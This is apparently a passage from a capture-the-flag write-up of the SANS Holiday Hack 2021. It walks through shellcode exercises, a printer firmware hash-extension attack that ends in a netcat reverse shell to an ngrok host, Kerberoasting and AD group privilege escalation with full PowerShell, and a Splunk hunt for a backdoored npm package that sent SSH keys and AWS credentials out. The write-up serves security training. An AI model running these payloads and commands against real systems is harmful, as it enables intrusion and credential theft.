have much to do except to execute the code and to analyze each step to understand what the debugger does. The interesting things start with the next exercise \u0026ldquo;Getting Started\u0026rdquo;:\nGetting Started The only thing to do here is to return and\u0026hellip;that\u0026rsquo;s it:\n1 ret The fourth exercise \u0026ldquo;Returning a Value\u0026rdquo; is about returning a simple integer value:\n1 2 mov rax, 1337 ret The fifth exercise \u0026ldquo;System Calls\u0026rdquo; is about syscalls. We need to call sys_exit with exit code 99. For that we can use this reference website. The sys_exit syscall number is 60. As per 64-bit calling convention, the first argument must be stored in the rdi register.\n1 2 3 mov rax, 60 ; sys_exit mov rdi, 99 ; exit code syscall The next exercise \u0026ldquo;Calling into the Void\u0026rdquo; is there only to show a crash when accessing an invalid memory address. Nothing to be done. Next exercise is \u0026ldquo;Getting RIP\u0026rdquo;. The goal here is to retrieve the rip address that cannot be directly retrieved after a call. One possibility is to pop the value from the stack right after the call saves its return value:\n1 2 3 4 5 call place_below_the_nop nop place_below_the_nop: pop rax ret Exercise 8 is \u0026ldquo;Hello, World!\u0026rdquo; where we need to return a pointer to that string:\n1 2 3 4 5 call place_below_the_hello db \u0026#39;Hello World\u0026#39;,0 place_below_the_hello: pop rax ret Next, we need to print \u0026ldquo;Hello, World!!\u0026rdquo; to standard output. The sys_write syscall number is 1. The call takes 3 arguments, a pointer to the file descriptor (stdout=1), the pointer to the string to print and the length of the string in bytes. As per the 64-bit calling convention, the first argument must be in rdi, the second in rsi and the third in rdx:\n1 2 3 4 5 6 7 8 9 call place_below_the_hello db \u0026#39;Hello World!\u0026#39;,0 place_below_the_hello: mov rax, 1 ; sys_write mov rdi, 1 ; stdout pop rsi ; \u0026#39;Hello World!\u0026#39; mov rdx, 12 ; string length syscall ret In \u0026ldquo;Opening a File\u0026rdquo;, we want to open the /etc/passwd file by calling sys_open. The syscall number is 2 and it takes 3 arguments, a pointer to the file name, the flags (0 will do fine), the mode (0 as well):\n1 2 3 4 5 6 7 8 9 call place_below_the_file db \u0026#39;/etc/passwd\u0026#39;,0 place_below_the_file: mov rax, 2 ; sys_open pop rdi ; \u0026#39;/etc/passwd\u0026#39; mov rsi, 0 ; flags mov rdx, 0 ; mode syscall ret With \u0026ldquo;Reading a File\u0026rdquo; we need to read a specific file /var/northpolesecrets.txt and write it to stdout. We will need to open the file with sys_open (2), read the file with sys_read (0), write the file to stdout with sys_write (1) and exit with sys_exit (60):\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 call place_below_the_file db \u0026#39;/var/northpolesecrets.txt\u0026#39;,0 place_below_the_file: mov rax, 2 ; sys_open pop rdi ; \u0026#39;/var/northpolesecrets.txt\u0026#39; mov rsi, 0 ; flags mov rdx, 0 ; mode syscall mov rdi, rax ; file descriptor mov rax, 0 ; sys_read mov rsi, rsp ; buffer for reading mov rdx, 1000 ; read 1000 bytes syscall mov rdx, rax ; string length mov rax, 1 ; sys_write mov rdi, 1 ; stdout mov rsi, rsp ; file content syscall mov rax, 60 ; sys_exit mov rdi, 99 syscall The output message is:\nSecret to KringleCon success: all of our speakers and organizers, providing the gift of cyber security knowledge, free to the community. cyber security knowledge 7 - Printer Exploitation Difficulty Objective Location 4/5 Investigate the stolen Kringle Castle printer. Get shell access to read the contents of /var/spool/printer.log. What is the name of the last file printed (with a .xlsx extension)? Find Ruby Cyster in Jack\u0026rsquo;s office for help with this objective. Jack\u0026rsquo;s Office We access a printer management web interface and the goal is to exploit the firmware to read a file on the printer system.\nPrinter management interface The Settings are protected by a password and trying some default passwords does not work. From the Firmware Update page, we can download the current firmware to analyse. This is a JSON file that is quite short and that contains the firmware data encoded in Base64, what seems its SHA256 signature and a secret_length value that is makes no real sense at this point.\nfirmware-export.json We can decode the data as follows:\n$ echo \u0026ldquo;UEsDBBQAAAAIAEWlkFMWoKjwagkA[\u0026hellip;]dXgLAAEEAAAAAAQAAAAAUEsFBgAAAAABAAEAUgAAALAJAAAAAA==\u0026rdquo; | base64 -D \u0026gt; firmware\n$ file firmware\nfirmware: Zip archive data, at least v2.0 to extract\n$ unzip firmware\n$ file firmware.bin\nfirmware.bin: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=fc77960dcdd5219c01440f1043b35a0ef0cce3e2, not stripped\n We get a unique firmware.bin ELF executable that is not stripped, so will be easier to analyze. We can open it with Ghidra. However, it looks like a dummy firmware that does nothing else that outputing a message:\nFirmware main function If we alter some byte of the firmware data in the JSON file and try to update the firmware in the mangement console, we get the following error:\nFirmware update failed:\nFailed to verify the signature! Make sure you are signing the data correctly: sha256(\u0026lt;secret\u0026gt; + raw_file_data)\n By raw_file_data, we suppose it means the ZIP file. This leaves the firmware vulnerable to a Hash Extension Attack as it ticks all the boxes:\n the secret is prepended to the hashed data the hash algorithm is susceptible to this kind of attack we have the secret length The idea that comes into mind for the whole attack at this point is:\n create an executable payload and ZIP it append this additional ZIP file to the firmware ZIP archive (by concatenating 2 such files, only the second one will be unpacked and executed) compute the new valid hash using the Hash Extension Attacks reconstruct the JSON file with the new data and hash upload the printer firmware Let\u0026rsquo;s first try to bypass the signature verification with dummy data appended to the ZIP archive. Let\u0026rsquo;s append 12345 and use hash_extender to compute the new hash and data.\nhash_extender can be cloned from this repo: https://github.com/iagox86/hash_extender. Then we only need to run make to compile it. The following command will generate the new hash. The signature is the one found in the firmware we have downloaded:\n$ ./hash_extender --file firmware --append 12345 --signature 2bab052bf894ea1a255886fde202f451476faba7b941439df629fdeb1ff0dc97 --secret 16 --format sha256 hash_extender Let\u0026rsquo;s retrieve the new signature and the new data. For the new firmware data, we can directly compute its Base64 string. Then we can replace the values of the JSON file with these ones:\n# get new file data in base64\n$ HASH=$(./hash_extender --file firmware --append 12345 --signature 2bab052bf894ea1a255886fde202f451476faba7b941439df629fdeb1ff0dc97 --secret 16 --format sha256 | tail -3 | head -1 | cut -d' ' -f 3)\n# get the signature\n$ FIRMWARE_B64=$(./hash_extender --file firmware --append 12345 --signature 2bab052bf894ea1a255886fde202f451476faba7b941439df629fdeb1ff0dc97 --secret 16 --format sha256 | tail -2 | head -1 | cut -d' ' -f 3 | xxd -r -p | base64)\n# modify JSON file\n# -i_bak modifies the file in place but creates a backup file with _bak suffix\n# -E enables support for extended regexes, necessary to use \\1, \\2 flags\n$ sed -i_bak -E -e 's|(signature\u0026quot;:\u0026quot;).*(\u0026quot;,\u0026quot;sec)|\\1'\u0026quot;$HASH\u0026quot;'\\2|g' -e 's|(firmware\u0026quot;:\u0026quot;).*(\u0026quot;,\u0026quot;sig)|\\1'\u0026quot;$FIRMWARE_B64\u0026quot;'\\2|g' firmware-export.json\n We upload the new firmware and see that the signature validation passes! Now, onto the real payload. The objective of this challenge is to retrieve the /var/spool/printer.log file. To do so, we could copy it in the /app/lib/public/incoming folder that will make it accessible under https://printer.kringlecastle.com/incoming/.\nLet\u0026rsquo;s first try with a basic shell payload and see if it gets executed. The payload will look like:\n#!/bin/bash\ncp /var/spool/printer.log /app/lib/public/incoming/noob.log Make sure to make it executable (just in case) with chmod +x payload.sh.\nThen we zip it with zip payload.zip payload.sh and reuse the same commads as above to modify the JSON file. But how to append the file data? --append $(cat payload.zip) does not work as the data is truncated due to the null bytes. A way that worked was to use hexdump to get a hex string of the file and add the --append-format hex flag to the command. The commands become:\n$ HASH=$(./hash_extender --file firmware --append $(hexdump -ve '1/1 \u0026quot;%.2x\u0026quot;' payload.zip) --append-format hex --signature 2bab052bf894ea1a255886fde202f451476faba7b941439df629fdeb1ff0dc97 --secret 16 --format sha256 | tail -3 | head -1 | cut -d' ' -f 3)\n$ FIRMWARE_B64=$(./hash_extender --file firmware --append $(hexdump -ve '1/1 \u0026quot;%.2x\u0026quot;' payload.zip) --append-format hex --signature 2bab052bf894ea1a255886fde202f451476faba7b941439df629fdeb1ff0dc97 --secret 16 --format sha256 | tail -2 | head -1 | cut -d' ' -f 3 | xxd -r -p | base64)\n$ sed -i_bak -E -e 's|(signature\u0026quot;:\u0026quot;).*(\u0026quot;,\u0026quot;sec)|\\1'\u0026quot;$HASH\u0026quot;'\\2|g' -e 's|(firmware\u0026quot;:\u0026quot;).*(\u0026quot;,\u0026quot;sig)|\\1'\u0026quot;$FIRMWARE_B64\u0026quot;'\\2|g' firmware-export.json\n But when we upload the firmware, we get the following error:\nFirmware update failed:\nFailed to parse the ZIP file: Could not extract firmware.bin from the archive:\n$ unzip \u0026lsquo;/tmp/20211225-1-1uqipjq\u0026rsquo; \u0026lsquo;firmware.bin\u0026rsquo; -d \u0026lsquo;/tmp/20211225-1-1uqipjq-out\u0026rsquo; 2\u0026gt;\u0026amp;1 \u0026amp;\u0026amp; /tmp/20211225-1-1uqipjq-out/firmware.bin\nArchive: /tmp/20211225-1-1uqipjq\nwarning [/tmp/20211225-1-1uqipjq]: 2608 extra bytes at beginning or within zipfile\n(attempting to process anyway)\ncaution: filename not matched: firmware.bin\n We rename our shell script to firmware.bin, zip it again and modifiy our JSON file accordingly. The firmware is accepted, and when querying https://printer.kringlecastle.com/incoming/noob.log, we get the following information:\nDocuments queued for printing\n=============================\nBiggering.pdf\nSize Chart from https://clothing.north.pole/shop/items/TheBigMansCoat.pdf\nLowEarthOrbitFreqUsage.txt\nBest Winter Songs Ever List.doc\nWin People and Influence Friends.pdf\nQ4 Game Floor Earnings.xlsx\nFwd: Fwd: [EXTERNAL] Re: Fwd: [EXTERNAL] LOLLLL!!!.eml\nTroll_Pay_Chart.xlsx\n Let\u0026rsquo;s try to have a reverse shell just for fun. We can use ngrok to expose a public TCP endpoint that will forward the traffic locally. We run it with ngrok tcp 1337 where 1337 is the local port. We can then use the forwarding endpoint given in our firmware.bin file with Netcat:\n#!/bin/bash\nnc 6.tcp.ngrok.io 14681 -e /bin/bash Once this endpoint is hit, the traffic will be forwarding on local host on port 1337 so we spawn a Netcat listener with nc -lnvp 1337. We rebuild our JSON file and upload it. We get a reverse shell instantly!\nReverse shell We can now explore the remote host. We can a well upgrade our shell to a full interactive TTY by following this procedure. We can find the following additional information:\n the source code of the app is in /app/lib/app.rb the secret key used is mybigsigningkey! there is a secret route /secretendpointforuptime that returns the message follow the white rabbit.... Troll_Pay_Chart.xlsx 8 - Kerberoasting on an Open Fire Difficulty Objective Location 5/5 Obtain the secret sleigh research document from a host on the Elf University domain. What is the first secret ingredient Santa urges each elf and reindeer to consider for a wonderful holiday season? Start by registering as a student on the ElfU Portal. Find Eve Snowshoes in Santa\u0026rsquo;s office for hints. Online We access the Elf University Student Registration portal. When we register, we get access to the university internal domain and services through SSH:\nElfU Registration Portal Note that the initial username may change multiple time in the below walkthrough as we had to generate the SSH access multiple times and is random. Once we log in, we access a student portal:\nElf University Student Grades Portal First thing to do it to escape this \u0026ldquo;jail\u0026rdquo;. We do not know what kind of application it is and after playing with some code injection or other SSH commands, a simple CRTL-D generates an error that gives access to the Python interpreter. From there we get a shell with os.system('/bin/bash'):\nPython jail escape Let\u0026rsquo;s change the user shell with chsh so we do not come to the same jail each and every time we log in:\nChange user shell From the output of the command, we see that the grade application is found in /opt/grading_system. But nothing special is to be seen there. Let\u0026rsquo;s check if there are hosts alive on the network. The subnet we are in is 172.17.0.0/16. Running a ping sweep scan gives us the following hosts:\n$ nmap -sP -T5 172.17.0.0/16\n[\u0026hellip;]\nNmap scan report for 172.17.0.1\nHost is up (0.00042s latency).\nNmap scan report for grades.elfu.local (172.17.0.2)\nHost is up (0.00036s latency).\nNmap scan report for 172.17.0.3\nHost is up (0.00028s latency).\nNmap scan report for 172.17.0.4\nHost is up (0.00039s latency).\nNmap scan report for 172.17.0.5\nHost is up (0.00051s latency). If we check our routing table, we see routes for other subnets:\nRouting table Scanning those subnets shows these additional hosts alive:\nhhc21-windows-linux-docker.c.holidayhack2021.internal (10.128.1.4)\n10.128.2.3-202\n10.128.3.25-60 The hhc21-windows-linux-docker.c.holidayhack2021.internal host is the webserver hosting the ElfU Registration Portal. The hosts 172.17.0.3-5 are Windows hosts (SMB ports are open). Moreover, 172.17.0.4 is an Active Directory server with the usual ports open. Most of the hosts on the 10.x.x.x subnet have all the same ports open (22, 80, 2222 or with additional 139, 445 ports) except for 10.128.3.30 that seems to be another Active Directory server.\nAdditionally, when scanning with the -PS22,445 option, we get yet another Domain Contoller with IP 10.128.1.53 that resolves to hhc21-windows-dc.c.holidayhack2021.internal.\nLet\u0026rsquo;s try to enumerate available shares accross all the subnets with nmap --script smb-enum-shares -p445 \u0026lt;subnet\u0026gt;. The only server that we can enumerate are the two domain controllers 172.17.0.3 and 10.128.3.30. We see the same interesting shares on both server, but they all require authentication. Actually, both IP addresses seem to be of the same server called share30:\nelfu_svc_shr\nresearch_dep With the smb-os-discovery Nmap script, we get the domain name elfu.local:\nHost script results:\n| smb-os-discovery:\n| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)\n| Computer name: share30\n| NetBIOS computer name: SHARE30\\x00\n| Domain name: elfu.local\n| FQDN: share30.elfu.local\n|_ System time: 2022-01-02T10:37:07+00:00 The user we get from the ElfU Registration Portal is a domain user. Unfortunately we do not have access to the above shares, but we can confirm that by accessing the netlogon or the sysvol shares from the Powershell terminal that is available on the box:\n$ pwsh\nPS /home/inmwurtvsq\u0026gt; smbclient \\\\10.128.3.30\\sysvol -U elfu\\inmwurtvsq\nEnter ELFU\\inmwurtvsq\u0026rsquo;s password:\nTry \u0026ldquo;help\u0026rdquo; to get a list of possible commands.\nsmb: \u0026gt; dir\n. D 0 Fri Oct 29 19:29:49 2021\n.. D 0 Sun Jan 2 08:01:40 2022\nelfu.local D 0 Fri Oct 29 19:29:49 2021\n 41089256 blocks of size 1024. 34507796 blocks available\n However, both shares are empty.\nLet\u0026rsquo;s now copy a few tools on the box. Namely, Impacket that we get first on our box from their Github account.\n$ git clone https://github.com/SecureAuthCorp/impacket.git\n$ scp -P 2222 -r ./impacket/ inmwurtvsq@grades.elfu.org:/home/inmwurtvsq/impacket Let\u0026rsquo;s try to find any Kerberoastable user on hhc21-windows-dc (the other server, even with LDAP open ports, does not respond to LDAP queries). We can user the Impacket script GetUserSPNs.py as follows:\nKerberoastable user We get the hash of the user elfu_svc that we can try to crack with hashcat back on our own box. But first we need a wordlist. One of the hints for this challenge was to use cewl to generate a custom wordlist based on the ElfU Registration Portal website and use the OneRuleToRuleThemAll.rule mangling rule for hashcat. CeWL can be installed from this Github repository. Let\u0026rsquo;s add as well the --with-numbers flag to cewl so words with numbers are not excluded, like the ones found in a comment in the source code:\n\u0026lt;!\u0026ndash; Remember the groups battling to win the karaoke contest earleir this year? I think they were rocks4socks, cookiepella, asnow2021,\nv0calprezents, Hexatonics, and reindeers4fears. Wow, good times! \u0026ndash;\u0026gt; We can execute the following:\n$ wget https://raw.githubusercontent.com/NotSoSecure/password_cracking_rules/master/OneRuleToRuleThemAll.rule\n$ ./CeWL/cewl.rb https://register.elfu.org/register --with-numbers \u0026gt; wordlist.txt\n$ wc -l wordlist.txt\n78 wordlist.txt\n$ hashcat -m 13100 -a 0 ./spns.txt -r ./OneRuleToRuleThemAll.rule ./wordlist.txt And the elfu_svc password is Snow2021!. Let\u0026rsquo;s see if this user can read the 2 shares we identified previously. So back to the grades host. We have access to a bunch of Powershell scripts in the elfu_svc_shr share:\n$ pwsh\nPS /home/inmwurtvsq\u0026gt; smbclient \\\\10.128.3.30\\elfu_svc_shr -U elfu\\elfu_svc\nEnter ELFU\\elfu_svc\u0026rsquo;s password:\nTry \u0026ldquo;help\u0026rdquo; to get a list of possible commands.\nsmb: \u0026gt; dir\n. D 0 Thu Dec 2 16:39:42 2021\n.. D 0 Sun Jan 2 08:01:34 2022\nGet-NavArtifactUrl.ps1 N 2018 Wed Oct 27 19:12:43 2021\nGet-WorkingDirectory.ps1 N 188 Wed Oct 27 19:12:43 2021\nStop-EtwTraceCapture.ps1 N 924 Wed Oct 27 19:12:43 2021\ncreate-knownissue-function.ps1 N 2104 Wed Oct 27 19:12:43 2021\nPsTestFunctions.ps1 N 52454 Wed Oct 27 19:12:43 2021\nStoreIngestionApplicationApi.ps1 N 108517 Wed Oct 27 19:12:43 2021\nCompile-ObjectsInNavContainer.ps1 N 4431 Wed Oct 27 19:12:43 2021\nRun-ConnectionTestToNavContainer.ps1 N 13856 Wed Oct 27 19:12:43 2021\nStoreIngestionIapApi.ps1 N 80725 Wed Oct 27 19:12:43 2021\nTest-SdnKnownIssue.ps1 N 4384 Wed Oct 27\n[\u0026hellip;] Let\u0026rsquo;s try to find some hardcoded credentials in those scripts. We can copy the files on the grades host and then grep them:\nsmb: \u0026gt; prompt OFF\nsmb: \u0026gt; mget *\nsmb: \u0026gt; exit We can search the script for the ConvertTo-SecureString flag which is often used to create a Credential object. We find this string in 12 files with grep -Ri \u0026quot;ConvertTo-SecureString\u0026quot; ./*.ps1. By searching the string elfu.local, we get only one hit in GetProcessInfo.ps1:\n1 2 3 4 $SecStringPassword = \u0026#34;76492d1116743f0423413b16050a5345MgB8AGcAcQBmAEIAMgBiAHUAMwA5AGIAbQBuAGwAdQAwAEIATgAwAEoAWQBuAGcAPQA9AHwANgA5ADgAMQA1ADIANABmAGIAMAA1AGQAOQA0AGMANQBlADYAZAA2ADEAMgA3AGIANwAxAGUAZgA2AGYAOQBiAGYAMwBjADEAYwA5AGQANABlAGMAZAA1ADUAZAAxADUANwAxADMAYwA0ADUAMwAwAGQANQA5ADEAYQBlADYAZAAzADUAMAA3AGIAYwA2AGEANQAxADAAZAA2ADcANwBlAGUAZQBlADcAMABjAGUANQAxADEANgA5ADQANwA2AGEA\u0026#34; $aPass = $SecStringPassword | ConvertTo-SecureString -Key 2,3,1,6,2,8,9,9,4,3,4,5,6,8,7,7 $aCred = New-Object System.Management.Automation.PSCredential -ArgumentList (\u0026#34;elfu.local\\remote_elf\u0026#34;, $aPass) Invoke-Command -ComputerName 10.128.1.53 -ScriptBlock { Get-Process } -Credential $aCred -Authentication Negotiate This script only executes Get-Process on the Domain Controller with the user remote_elf. We can get its password with the following commands:\n1 2 3 4 5 $SecStringPassword = \u0026#34;76492d1116743f0423413b16050a5345MgB8AGcAcQBmAEIAMgBiAHUAMwA5AGIAbQBuAGwAdQAwAEIATgAwAEoAWQBuAGcAPQA9AHwANgA5ADgAMQA1ADIANABmAGIAMAA1AGQAOQA0AGMANQBlADYAZAA2ADEAMgA3AGIANwAxAGUAZgA2AGYAOQBiAGYAMwBjADEAYwA5AGQANABlAGMAZAA1ADUAZAAxADUANwAxADMAYwA0ADUAMwAwAGQANQA5ADEAYQBlADYAZAAzADUAMAA3AGIAYwA2AGEANQAxADAAZAA2ADcANwBlAGUAZQBlADcAMABjAGUANQAxADEANgA5ADQANwA2AGEA\u0026#34; $aPass = $SecStringPassword | ConvertTo-SecureString -Key 2,3,1,6,2,8,9,9,4,3,4,5,6,8,7,7 $Ptr = \\[System.Runtime.InteropServices.Marshal\\]::SecureStringToCoTaskMemUnicode($aPass) $result = \\[System.Runtime.InteropServices.Marshal\\]::PtrToStringUni($Ptr) $result The password is A1d655f7f5d98b10!. This user has still not access to the research_dep share. Let\u0026rsquo;s see if we can get a shell on the Domain Controller as well. For that we can re-use the code found on Chris Davis' GitHub repository.\n1 2 3 $password = ConvertTo-SecureString \u0026#34;A1d655f7f5d98b10!\u0026#34; -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList (\u0026#34;elfu.local\\remote_elf\u0026#34;, $password) Enter-PSSession -ComputerName hhc21-windows-dc.c.holidayhack2021.internal -Credential $creds -Authentication Negotiate We are in the DC01 host! Next step would be to read the DACL of some privileged AD groups to see if we have WriteDacl privileges to add users in it and escalate our privileges. This can be tested with the following commands on the Domain Admins group for instance:\n1 2 $ADSI = [ADSI]\u0026#34;LDAP://CN=Domain Admins,CN=Users,DC=elfu,DC=local\u0026#34; $ADSI.psbase.ObjectSecurity.GetAccessRules($true,$true,[Security.Principal.NTAccount]) Unfortunately, we have no rights other than GenericRead. The same with other groups like Administrators or Enterprise Admins. Let\u0026rsquo;s list the remaining groups to see if we find something else. We can run Get-ADGroup -Filter 'GroupCategory -eq \u0026quot;Security\u0026quot;' and with that we see the following group, that could be used to access the research_dep share!\nDistinguishedName : CN=Research Department,CN=Users,DC=elfu,DC=local\nGroupCategory : Security\nGroupScope : Global\nName : Research Department\nObjectClass : group\nObjectGUID : 8dd5ece3-bdc8-4d02-9356-df01fb0e5f3d\nSamAccountName : ResearchDepartment\nSID : S-1-5-21-2037236562-2033616742-1485113978-1108 When checking our DACLs on that group, we have indeed the necessary WriteDacl permission:\nActiveDirectoryRights : WriteDacl\nInheritanceType : None\nObjectType : 00000000-0000-0000-0000-000000000000\nInheritedObjectType : 00000000-0000-0000-0000-000000000000\nObjectFlags : None\nAccessControlType : Allow\nIdentityReference : ELFU\\remote_elf\nIsInherited; : False\nInheritanceFlags : None\nPropagationFlags : None So let\u0026rsquo;s add our AD user to the group. We can follow step-by-step the snippets found here. First, we grant our user the GenericAll permission on the group with:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Add-Type -AssemblyName System.DirectoryServices $ldapConnString = \u0026#34;LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local\u0026#34; $username = \u0026#34;iwtejzjzun\u0026#34; $nullGUID = [guid]\u0026#39;00000000-0000-0000-0000-000000000000\u0026#39; $propGUID = [guid]\u0026#39;00000000-0000-0000-0000-000000000000\u0026#39; $IdentityReference = (New-Object System.Security.Principal.NTAccount(\u0026#34;elfu.local\\$username\u0026#34;)).Translate([System.Security.Principal.SecurityIdentifier]) $inheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance]::None $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference, ([System.DirectoryServices.ActiveDirectoryRights] \u0026#34;GenericAll\u0026#34;), ([System.Security.AccessControl.AccessControlType] \u0026#34;Allow\u0026#34;), $propGUID, $inheritanceType, $nullGUID $domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString $secOptions = $domainDirEntry.get_Options() $secOptions.SecurityMasks = [System.DirectoryServices.SecurityMasks]::Dacl $domainDirEntry.RefreshCache() $domainDirEntry.get_ObjectSecurity().AddAccessRule($ACE) $domainDirEntry.CommitChanges() $domainDirEntry.dispose() Then we add our user to the group:\n1 2 3 4 5 6 7 8 9 10 11 12 13 Add-Type -AssemblyName System.DirectoryServices $ldapConnString = \u0026#34;LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local\u0026#34; $username = \u0026#34;iwtejzjzun\u0026#34; $password = \u0026#34;Lkgbcatah@\u0026#34; $domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString, $username, $password $user = New-Object System.Security.Principal.NTAccount(\u0026#34;elfu.local\\$username\u0026#34;) $sid=$user.Translate([System.Security.Principal.SecurityIdentifier]) $b=New-Object byte[] $sid.BinaryLength $sid.GetBinaryForm($b,0) $hexSID=[BitConverter]::ToString($b).Replace(\u0026#39;-\u0026#39;,\u0026#39;\u0026#39;) $domainDirEntry.Add(\u0026#34;LDAP://\u0026lt;SID=$hexSID\u0026gt;\u0026#34;) $domainDirEntry.CommitChanges() $domainDirEntry.dispose() We can check that our user is part of the group with:\nPS C:\\Users\\remote_elf\u0026gt; net user iwtejzjzun\n[\u0026hellip;]\nGlobal Group memberships *ResearchDepartment *Domain Users Let\u0026rsquo;s go back to the grades host and discover what\u0026rsquo;s inside the research_dep share:\nPS /home/iwtejzjzun\u0026gt; smbclient \\10.128.3.30\\research_dep -U elfu\\iwtejzjzun\nEnter ELFU\\iwtejzjzun\u0026rsquo;s password:\nTry \u0026ldquo;help\u0026rdquo; to get a list of possible commands.\nsmb: \u0026gt; dir\n. D 0 Thu Dec 2 16:39:42 2021\n.. D 0 Mon Jan 3 08:01:29 2022\nSantaSecretToAWonderfulHolidaySeason.pdf N 173932 Thu Dec 2 16:38:26 2021\n 41089256 blocks of size 1024. 33675296 blocks available\nsmb: \u0026gt; get SantaSecretToAWonderfulHolidaySeason.pdf\n There is only one PDF file that we can retrieve on our host with scp. We can read the following:\nSantaSecretToAWonderfulHolidaySeason.pdf Optionally, we could have used Bloodhound to retrieve the AD data. As the collector Sharphound is flagged by the antivirus on the Domain Controller and that it is not running properly from the grade host, a working solution is to use the Python port:\n# on our box\n$ git clone https://github.com/fox-it/BloodHound.py.git\n$ scp -P 2222 -r ./BloodHound.py/ inmwurtvsq@grades.elfu.org:/home/inmwurtvsq/bloodhound\n# then on the grade host\n$ python3 bloodhound.py -dc hhc21-windows-dc.c.holidayhack2021.internal -d elfu.local -c all -u remote_elf -p A1d655f7f5d98b10! --zip\n We retrieve the ZIP file with scp and load it into our Bloodhound instance. As we can see, there is no path from the user remote_elf to Domain Admin:\nBloodhound - Find Shortest Paths to Domain Admins To find what the user remote_elf can control, we have to select it and then select First Degree Object Control to find out it can only alter the Research Department group:\nBloodhound - First Degree Object Control Kindness 9 - Splunk! Difficulty Objective Location 3/5 Help Angel Candysalt solve the Splunk challenge in Santa\u0026rsquo;s great hall. Fitzy Shortstack is in Santa\u0026rsquo;s lobby, and he knows a few things about Splunk. What does Santa call you when when you complete the analysis? Great Room This year again we have a Splunk investigation challenge and as soon as we access the portal we get the following message:\nSanta\u0026#39;s To-Do List We have to answer to 8 questions. Before starting the investigation, make sure to select the logs timeframe to All time.\nQ1. Capture the commands Eddie ran most often, starting with git. Looking only at his process launches as reported by Sysmon, record the most common git-related CommandLine that Eddie seemed to use. We the answer with the following search process=\u0026quot;git*\u0026quot; | top limit=1 process.\nAnswer: git status.\nQ2. Looking through the git commands Eddie ran, determine the remote repository that he configured as the origin for the partnerapi repo. The correct one! Adding a remote repository with is usually done with the command git remote add origin. By searching process=\u0026quot;git remote add origin*partnerapi*\u0026quot; | top process we get the following output:\ngit remote add origin https://github.com/elfnp3/partnerapi.git\ngit remote add origin git@github.com:elfnp3/partnerapi.git Answer: git@github.com:elfnp3/partnerapi.git.\nQ3. The partnerapi project that Eddie worked on uses Docker. Gather the full docker command line that Eddie used to start the partnerapi project on his workstation. The Docker command was probably ran from the project directory. We can use this query CurrentDirectory=\u0026quot;*/partnerapi\u0026quot; CommandLine=\u0026quot;docker*\u0026quot; | top CommandLine. We get only one command.\nAnswer: docker compose up.\nQ4. Eddie had been testing automated static application security testing (SAST) in GitHub. Vulnerability reports have been coming into Splunk in JSON format via GitHub webhooks. Search all the events in the main index in Splunk and use the sourcetype field to locate these reports. Determine the URL of the vulnerable GitHub repository that the elves cloned for testing and document it here. You will need to search outside of Splunk (try GitHub) for the original name of the repository. There is a source type dedicated for Github JSON files called github_json. We can list the cloned repositories with the field repository.clone_url. The search is sourcetype=github_json | top repository.clone_url. We get:\nhttps://github.com/elfnp3/dvws-node.git\nhttps://github.com/elfnp3/partnerapi.git If we drill-down to the repository that have alerts by adding the filter alert.html_url=\u0026quot;*\u0026quot; we get only the dvws-node repository. The GitHub page mentions that this is a fork of https://github.com/snoopysecurity/dvws that itself points to a new project name https://github.com/snoopysecurity/dvws-node.\nAnswer: https://github.com/snoopysecurity/dvws-node\nQ5. Santa asked Eddie to add a JavaScript library from NPM to the partnerapi project. Determine the name of the library and record it here for our workshop documentation. We can simply look for the command line that contain npm install in the partnerapi folder with the filter CurrentDirectory=\u0026quot;*/partnerapi\u0026quot; CommandLine=\u0026quot;*npm install*\u0026quot; | top CommandLine. We get four results:\nnode /usr/bin/npm install holiday-utils-js\nnode /usr/bin/npm install\n/usr/bin/env node /usr/bin/npm install holiday-utils-js\n/usr/bin/env node /usr/bin/npm install Answer: holiday-utils-js.\nQ6. Another elf started gathering a baseline of the network activity that Eddie generated. Start with their search and capture the full process_name field of anything that looks suspicious. The starting point is the following search:\nindex=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=3 user=eddie NOT dest_ip IN (127.0.0.*) NOT dest_port IN (22,53,80,443)\n| stats count by dest_ip dest_port Which gives us 2 suspicious IP addresses: 192.30.255.113 (destination port 9418) and 54.175.69.219 (destination port 16842). We can drill-down from the output and select View events for each IP address. The call to the first IP address is done by the git process. However the second IP is more shady because it is called by Netcat!\nAnswer: /usr/bin/nc.openbsd.\nQ7. Uh oh. This documentation exercise just turned into an investigation. Starting with the process identified in the previous task, look for additional suspicious commands launched by the same parent process. One thing to know about these Sysmon events is that Network connection events don\u0026rsquo;t indicate the parent process ID, but Process creation events do! Determine the number of files that were accessed by a related process and record it here. First lets find the parent process that launched Netcat. Sysmon process creation event code is 1. The following search index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=1 process_name=\u0026quot;/usr/bin/nc.openbsd\u0026quot; returns only one event. We see that the full command line was nc -q1 54.175.69.219 16842 and that the current directory was the folder of the NPM library that was installed /home/eddie/partnerapi/node_modules/holiday-utils-js. So the library was probably backdoored. The parent process is /bin/bash with PID 6788.\nThe same parent PID has launched another command that can be seen with the following search index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=1 ParentProcessId=6788. The command is:\ncat /home/eddie/.aws/credentials /home/eddie/.ssh/authorized_keys /home/eddie/.ssh/config /home/eddie/.ssh/eddie /home/eddie/.ssh/eddie.pub /home/eddie/.ssh/known_hosts The evil process sent the content of those files (if they exist) to the attacker through Netcat.\nAnswer: 6.\nQ8. Use Splunk and Sysmon Process creation data to identify the name of the Bash script that accessed sensitive files and (likely) transmitted them to a remote IP address. To find that, we can simply change the previous search to use ProcessId instead of ParentProcessId. This means index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=1 ProcessId=6788. We have only 1 event that shows that the parent process is /bin/bash preinstall.sh.\nAnswer: preinstall.sh.\nAfter answering all the question we get the following message:\nThank you for 